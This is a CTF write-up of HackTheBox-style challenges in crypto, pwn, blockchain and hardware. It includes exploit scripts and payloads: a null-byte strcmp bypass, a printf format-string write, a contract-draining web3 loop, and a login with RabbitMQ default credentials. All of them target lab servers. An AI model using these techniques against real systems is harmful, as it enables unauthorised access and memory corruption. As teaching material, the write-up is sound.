This is an RSA encryption. On line 7, n is calculated as the product of multiple prime numbers. Well, actually, since 2**0 is 1, n is just a huge prime number itself, which makes decryption easier because no factorization is necessary.

The decryption code:

from Crypto.Util.number import inverse, long_to_bytes

# Given values from output.txt
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

# Euler's totient function; since n is prime, no need to perform factorization
phi_n = n - 1

# Compute the modular inverse of e modulo n
d = inverse(e, phi_n)

# Decrypt the ciphertext c to retrieve the original message m
m = pow(c, d, n)

# Convert the long integer message to bytes
flag = long_to_bytes(m)

print(flag.decode())

Flag: HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}


[Easy] Iced TEA

Locked within a cabin crafted entirely from ice, you’re enveloped in a chilling silence. Your eyes land upon an old notebook, its pages adorned with thousands of cryptic mathematical symbols. Tasked with deciphering these enigmatic glyphs to secure your escape, you set to work, your fingers tracing each intricate curve and line with determination. As you delve deeper into the mysterious symbols, you notice that patterns appear in several pages and a glimmer of hope begins to emerge. Time is flying and the temperature is dropping, will you make it before you become one with the cabin?

Once again an output.txt and a source.py file were given.

Key : 850c1413787c389e0b34437a6828a1b2
Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843
import os
from secret import FLAG
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        if self.IV:
            self.mode = Mode.CBC
        else:
            self.mode = Mode.ECB
    
    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def encrypt(self, msg):
        msg = pad(msg, self.BLOCK_SIZE//8)
        blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
        
        ct = b''
        if self.mode == Mode.ECB:
            for pt in blocks:
                ct += self.encrypt_block(pt)
        elif self.mode == Mode.CBC:
            X = self.IV
            for pt in blocks:
                enc_block = self.encrypt_block(self._xor(X, pt))
                ct += enc_block
                X = enc_block
        return ct

    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        K = self.KEY
        msk = (1 << (self.BLOCK_SIZE//2)) - 1

        s = 0
        for i in range(32):
            s += self.DELTA
            m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
            m0 &= msk
            m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
            m1 &= msk
        
        m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1

        return l2b(m)



if __name__ == '__main__':
    KEY = os.urandom(16)
    cipher = Cipher(KEY)
    ct = cipher.encrypt(FLAG)
    with open('output.txt', 'w') as f:
        f.write(f'Key : {KEY.hex()}\nCiphertext : {ct.hex()}')

The script implements a Feistel cipher, which is a symmetric encryption scheme that iteratively applies a function to half of the block and XORs it with the other half, providing confusion and diffusion. Honestly, ChatGPT did most of the work for me, so I can’t explain it 😊. My decryption code:

from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Cipher import AES
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        if self.IV:
            self.mode = Mode.CBC
        else:
            self.mode = Mode.ECB
    
    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    # Decrypt ciphertext
    def decrypt(self, ct):
        # Split the ciphertext into blocks
        blocks = [ct[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ct), self.BLOCK_SIZE//8)]
        
        pt = b''
        # Perform decryption based on the selected mode
        if self.mode == Mode.ECB:
            for ct_block in blocks:
                pt += self.decrypt_block(ct_block)
        elif self.mode == Mode.CBC:
            X = self.IV  # Initialization vector
            for ct_block in blocks:
                dec_block = self._xor(self.decrypt_block(ct_block), X)  # Decrypt block and XOR with IV
                pt += dec_block
                X = ct_block  # Update IV for the next block
        return unpad(pt, self.BLOCK_SIZE//8)  # Remove padding from plaintext

    # Decrypt a single block
    def decrypt_block(self, ct):
        c = b2l(ct)  # Convert ciphertext block to integer
        msk = (1 << (self.BLOCK_SIZE//2)) - 1  # Mask for extracting lower half of block
        m0 = c >> (self.BLOCK_SIZE//2)  # Extract upper half of ciphertext
        m1 = c & msk  # Extract lower half of ciphertext

        s = self.DELTA << 5  # Initial value for addition
        for i in range(32):
            # Decrypt block using the Feistel cipher algorithm
            m1 -= ((m0 << 4) + self.KEY[2]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[3])
            m1 &= msk
            m0 -= ((m1 << 4) + self.KEY[0]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[1])
            m0 &= msk
            s -= self.DELTA
        
        return l2b((m0 << (self.BLOCK_SIZE//2)) + m1)  # Concatenate and convert to bytes

# Main function
if __name__ == '__main__':
    # Provided key and ciphertext
    KEY = bytes.fromhex("850c1413787c389e0b34437a6828a1b2")
    ct = bytes.fromhex("b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843")

    cipher = Cipher(KEY)
    flag = cipher.decrypt(ct)
    print(flag.decode())

Flag: HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}


Pwn

[Very Easy] Tutorial

Before we start, practice time!

For this challenge, an IP address and port were given as well as some files, but those files were unnecessary as a given README.txt described:

The player should not try to exploit this binary.
This is just a demo program to help the user
understand the topic and answer the questions.
You will get the flag by answering the questions
on the remote instance. To connect to the IP and PORT:
nc <IP> <PORT> e.g. nc 127.0.0.1 1337

So I connected to the given IP address and port and was presented with a little quiz.

Most of these questions could be answered with a quick google search, but I also used this website to quickly run some code myself: https://www.onlinegdb.com/online_c_compiler

Question number 0x1: Is it possible to get a negative result when adding 2 positive numbers in C? (y/n)

Answer: y

Question number 0x2: What’s the MAX 32-bit Integer value in C?

Answer: 2147483647

Question number 0x3: What number would you get if you add INT_MAX and 1?

Answer: -2147483648

Question number 0x4: What number would you get if you add INT_MAX and INT_MAX?

Answer: -2

Question number 0x5: What’s the name of this bug? (e.g. buffer overflow)

Answer: integer overflow

Question number 0x6: What’s the MIN 32-bit Integer value in C?

Answer: -2147483648

Question number 0x7: What’s the number you can add to INT_MAX to get the number -2147482312?

Answer: 1337

Flag: HTB{gg_3z_th4nk5_f0r_th3_tut0r14l}


[Very Easy] Writing on the Wall

As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door’s secrets?

The challenge provided an IP address and port to connect to, as well as the binary that’s running on that machine. When connecting to the server, a short challenge was presented.

After simply trying “w3tpass” as a password, based on what I made the writing out to be, I investigated the binary using Ghidra.

The decompiled code:

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_1e [6];
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = 0x2073736170743377;
  read(0,local_1e,7);
  iVar1 = strcmp(local_1e,(char *)&local_18);
  if (iVar1 == 0) {
    open_door();
  }
  else {
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Line 15 opened the door (thus reading from flag.txt and printing the contents). To get there, the comparison in line 13 had to see no difference between local_1e and (char *)&local_18, where local_1e was the user input and (char *)&local_18 was 0x2073736170743377 which is HEX for ssapt3w, or “w3tpass” if you so will. However, on line 6, only 6 bytes are loaded for local_1e while on line 12, the read() function reads 7 bytes from the user input, meaning I couldn’t just type the password ssapt3w as it contained 7 characters, but I could use that last byte to fill the address after local_1e. That address just so happened to be local_18, which stored the password the user input is compared to. This meant, the first byte of the actual password could be changed through the user input.

With a bit of luck and research, I found this little writeup explaining that strcmp() uses a null-byte as terminator, meaning it will stop the comparison when a null byte appears. This means, if 7 null bytes are entered as password, the compare function basically compares just two null bytes and assumes the correct password is entered. I used this script to achieve that:

from pwn import *
import re

# Establishing connection to the remote server
conn = remote('94.237.54.170', 39055)

# Receive data until a password can be entered
conn.recvuntil(b'>>', drop=True)
conn.sendline(b"\x00" * 7)

conn.interactive()

The same could be achieved by just using this command and sending the 7 bytes directly: echo -e '\x00\x00\x00\x00\x00\x00\x00' | nc 94.237.54.170 39055

Similarly, anything like echo -e '\x00\x01\x02\x03\x04\x05\x00' | nc 94.237.54.170 39055 works as well, as long as the first and seventh bytes are null bytes.

Flag: HTB{3v3ryth1ng_15_r34d4bl3}


[Very Easy] Delulu

HALT! Recognition protocol initiated. Please present your face for scanning.

The challenge provided an IP address and port to connect to, as well as the binary that’s running on that machine. When connecting to the server, a little check is presented.

I investigated the binary using Ghidra.

The decompiled code:


undefined8 main(void)

{
  long in_FS_OFFSET;
  long local_48;
  long *local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_48 = 0x1337babe;
  local_40 = &local_48;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  read(0,&local_38,0x1f);
  printf("\n[!] Checking.. ");
  printf((char *)&local_38);
  if (local_48 == 0x1337beef) {
    delulu();
  }
  else {
    error("ALERT ALERT ALERT ALERT\n");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Line 25 called the delulu function (thus reading from flag.txt and printing the contents). To get there, local_48 had to be 0x1337beef in line 24, but in 15, it is set to 0x1337babe. When user input is read on line 21, the content is stored in local_38. The length of what is read is 0x1f or 31 bytes while local_38 is just 8 bytes long. However, the remaining 23 bytes would overflow to local_30, local_28, and local_10, all being 8 bytes long, too.

However, since the user input is returned on line 23 (see the screenshot of my initial “test” input) I did some research and thought that maybe a Format String Attack was possible, thus printing the content from a different address instead of the user input. A quick test confirmed this:

This attack is possible because on line 23, the content of local_38 is printed without being formatted as a string using %s. Thus, the printf() function can be exploited at this point.

So the idea was to write 0x1337beef to local_48 by overwriting where currently it is 0x1337babe. To see where that was, I just used the FSA again:

Apparently, the 7th value after where the user input is read contained the variable that needed to be changed. To change exactly that, %7 can be used as a format specifier for the user input. Using %#x, a numerical data is being formatted as hex. The result has to be 1337beef in hex and the input has to be an integer/decimal number which would be 322420463. Thus I thought I could just send %#322420463x%7, but that made my terminal go bogus. In this tutorial, that is explained a bit:

The second issue is that you don’t want to do AAAA%3405691578x%7$n, because it will write a 3405691582 length pad on the standard output, it’ll take forever ! So, instead of writing a long integer (4 bytes), we’ll write 2 short integers (2 bytes). To do that, we’ll use another specifier : %hn.

Let’s break this down :

  • We want to write 0xcafebabe. It means, 0xcafe (51966 in decimal) in the high order bytes and 0xbabe (47806 in decimal) in the low order bytes.
  • We want to write those value at 0xbffff6ac. It means writing 0xcafe at 0xbffff6ac + 2 = 0xbffff6ae (high order) and 0xbabe at 0xbffff6ac (low order).

That’s basically my issue. So I figured, if I want to change 1337babe to 1337beef, I could just change the last half of that value. beef in hex is 48879 in dec. Using the specifier $hn, printf() will write just two short integers, i.e. 4 bytes to the given address. Thus, the final payload I used was: %#48879x%7$hn

Flag: HTB{m45t3r_0f_d3c3pt10n}


Blockchain

[Very Easy] Russian Roulette

Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?

This challenge provided two IP addresses and two ports, as well as two .sol files containing smart contracts.

pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

The setup.sol specified a contract where 10 ether are deposited in the RussianRoulette contract, and for the contract to be solved, the balance had to be 0.

pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
		return "im SAFU ... for now";
	    }
    }
}

The RussianRoulette.sol specifies the contract and how it can be destroyed: When the modulo of a block hash is equal to 7, the contract can be destroyed. Since the hash value of a block can not be controlled, statistically every 10th block should match the criteria, and I just had to wait for the correct block to be generated.

When connected to the server, I could get some information about the contracts:

So to destroy the contract and get the flag, I just had to generate a bunch of blocks and check if one of them fulfilled the modulo condition. To generate a block, I had to trigger transactions. The simplest way to do that was to just call the pullTrigger() function. My code to repeatedly pull the trigger and check the contract:

from web3 import Web3
from eth_account import Account

# Connect to the Ethereum node
w3 = Web3(Web3.HTTPProvider('http://94.237.57.88:33038'))

# account details
private_key = '0xfba1ee8d2a16e0ffb56b87d933e1b6ac701a2e2339c929c249b8791bb5dd28eb'
address = '0x24283341415C29a7ce812bd3F02DbcE35A41D3C8'

# Contract addresses
target_contract_address = '0x4449305Dd09831B42f6FbfC6CB0BbEB87eE6875d'
setup_contract_address = '0x71FF0E37856B723a59F53324cF08B0A35c1cDcF7'

# Contract ABIs
target_contract_abi = [{"type": "constructor","inputs": [],"stateMutability": "payable"},{"type": "function","name": "pullTrigger","inputs": [],"outputs": [{"name": "","type": "string","internalType": "string"}],"stateMutability": "nonpayable"}]

setup_contract_abi = [{"type": "constructor","inputs": [],"stateMutability": "payable"},{"type": "function","name": "TARGET","inputs": [],"outputs": [{"name": "","type": "address","internalType": "contract RussianRoulette"}],"stateMutability": "view"},{"type": "function","name": "isSolved","inputs": [],"outputs": [{"name": "","type": "bool","internalType": "bool"}],"stateMutability": "view"}]


# Create an account object and check balance
account = Account.from_key(private_key)
balance = w3.eth.get_balance(address)
print(f'Account balance: {balance}')

# Deployed contract instances
target_contract = w3.eth.contract(address=target_contract_address, abi=target_contract_abi)
setup_contract = w3.eth.contract(address=setup_contract_address, abi=setup_contract_abi)

# Function to destroy the target contract and receive the receipt
def destroy_contract():
    try:
        # Send a self-destruct transaction to the target contract
        tx_hash = target_contract.functions.pullTrigger().transact({'gas': 1000000})
        # Wait for the transaction receipt
        tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
        print("Transaction successful:", tx_receipt)
    except Exception as e:
        print("Error occurred during transaction:", e)
        

# Function to generate blocks
def pull_trigger():
    try:
        tx_hash = target_contract.functions.pullTrigger().transact({'gas': 1000000})
        tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    except Exception as e:
        print("Error occurred during transaction:", e)
        
i = 0
while True:
    is_solved = setup_contract.functions.isSolved().call()
    if is_solved:
        print("Setup contract has been solved.")
        destroy_contract()
        break
    else:
        balance = w3.eth.get_balance(address)
        print(f'[{i}] Setup contract has not been solved yet. Account balance: {balance}')
        pull_trigger()
        i += 1

It has some unnecessary parts in it, but I didn’t know that when I wrote that. Running the code did the trick, however.

Flag: HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}


Hardware

[Very Easy] Maze

In a world divided by factions, “AM,” a young hacker from the Phreaks, found himself falling in love with “echo,” a talented security researcher from the Revivalists. Despite the different backgrounds, you share a common goal: dismantling The Fray. You still remember the first interaction where you both independently hacked into The Fray’s systems and stumbled upon the same vulnerability in a printer. Leaving behind your hacker handles, “AM” and “echo,” you connected through IRC channels and began plotting your rebellion together. Now, it’s finally time to analyze the printer’s filesystem. What can you find?

For this challenge, a folder with some subfolders was provided. I opened it in Visual Studio Code to get a better overview.

Many folders were empty and the included files weren’t very big either. The only interesting file was a PDF called Factory.pdf. Opening that with a simple PDF viewer showed some “Factory Information”. Page two included this:

For a second, I thought I had to do some OSINT to find the location, but the flag was already there.

Flag: HTB{1n7323571n9_57uff_1n51d3_4_p21n732}


[Very Easy] BunnyPass

As you discovered in the PDF, the production factory of the game is revealed. This factory manufactures all the hardware devices and custom silicon chips (of common components) that The Fray uses to create sensors, drones, and various other items for the games. Upon arriving at the factory, you scan the networks and come across a RabbitMQ instance. It appears that default credentials will work.

An IP address and a port were given to connect to a RabbitMQ webpage. As the challenge text suggested, I searched for default credentials and found some to be guest:guest here: https://www.rabbitmq.com/docs/access-control#default-state

I didn’t really know what RabbitMQ is and so I basically clicked aimlessly through the whole thing. After some minutes and also playing around with the API for a bit, I realized there are some kind of “messages” in “queues”. To retrieve those messages, I navigated to the “Queues”.

There, I clicked on the factory_idle queue because it had the most messages.

The sixth and last message contained the flag.

Flag: HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}


[Easy] Rids

Upon reaching the factory door, you physically open the RFID lock and find a flash memory chip inside. The chip’s package has the word W25Q128 written on it. Your task is to uncover the secret encryption keys stored within so the team can generate valid credentials to gain access to the facility.

This challenge seemed really experimental to me. It provided an IP and a port as well as a client.py python script to use to connect to the IP.

import socket
import json

def exchange(hex_list, value=0):

    # Configure according to your setup
    host = '127.0.0.1'  # The server's hostname or IP address
    port = 1337        # The port used by the server
    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)
    
    usb_device_url = 'ftdi://ftdi:2232h/1'

    # Convert hex list to strings and prepare the command data
    command_data = {
        "tool": "pyftdi",
        "cs_pin":  cs,
        "url":  usb_device_url,
        "data_out": [hex(x) for x in hex_list],  # Convert hex numbers to hex strings
        "readlen": value
    }
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        
        # Serialize data to JSON and send
        s.sendall(json.dumps(command_data).encode('utf-8'))
        
        # Receive and process response
        data = b''
        while True:
            data += s.recv(1024)
            if data.endswith(b']'):
                break
                
        response = json.loads(data.decode('utf-8'))
        #print(f"Received: {response}")
    return response


# Example command
jedec_id = exchange([0x9F], 3)
print(jedec_id)

I had to think about this for a minute, but apparently, through this setup of server and client, I could communicate with a memory chip. W25Q128 is the model of the chip where W25Q is the series. The idea here was to run different commands specific to that chip to read some data. Just running the script as it was given, i. e. using jedec_id = exchange([0x9F], 3) where 0x9F is the command and 3 is the printed length, resulted in [239, 64, 24].

First, I increased the printed length to 50 and converted the resulting integers to letters using ascii conversion. For the given command that didn’t make much sense, but I expected a flag to appear with a different command.

Now, to get possible commands, I googled for W25Q128 and found this datasheet: https://www.pjrc.com/teensy/W25Q128FV.pdf

From the Read JEDEC ID command I realized how to convert the instruction code given in the manual to the one I needed in my script, for example 9Fh = 0x9F. Then, I tried quite a couple of commands until I tried the most basic one: Read Data.

Accordingly, my script looked like this to solve the challenge:

import socket
import json

def exchange(hex_list, value=0):

    # Configure according to your setup
    host = '83.136.255.215'  # The server's hostname or IP address
    port = 52851        # The port used by the server
    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)
    
    usb_device_url = 'ftdi://ftdi:2232h/1'

    # Convert hex list to strings and prepare the command data
    command_data = {
        "tool": "pyftdi",
        "cs_pin":  cs,
        "url":  usb_device_url,
        "data_out": [hex(x) for x in hex_list],  # Convert hex numbers to hex strings
        "readlen": value
    }
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        
        # Serialize data to JSON and send
        s.sendall(json.dumps(command_data).encode('utf-8'))
        
        # Receive and process response
        data = b''
        while True:
            data += s.recv(1024)
            if data.endswith(b']'):
                break
                
        response = json.loads(data.decode('utf-8'))
        #print(f"Received: {response}")
    return response


# Example command
jedec_id = exchange([0x03], 50)
print(jedec_id)
letters = ''.join(chr(val) for val in jedec_id if val != 255)
print(letters)

Flag: HTB{m3m02135_57023_53c2375_f02_3v32y0n3_70_533!@}


And that was it for me. I only managed to solve a few Medium challenges and even failed some Very Easy ones. But I did see some very interesting stuff for some of the challenges I didn’t solve. I really enjoy the realism HackTheBox puts into their challenges!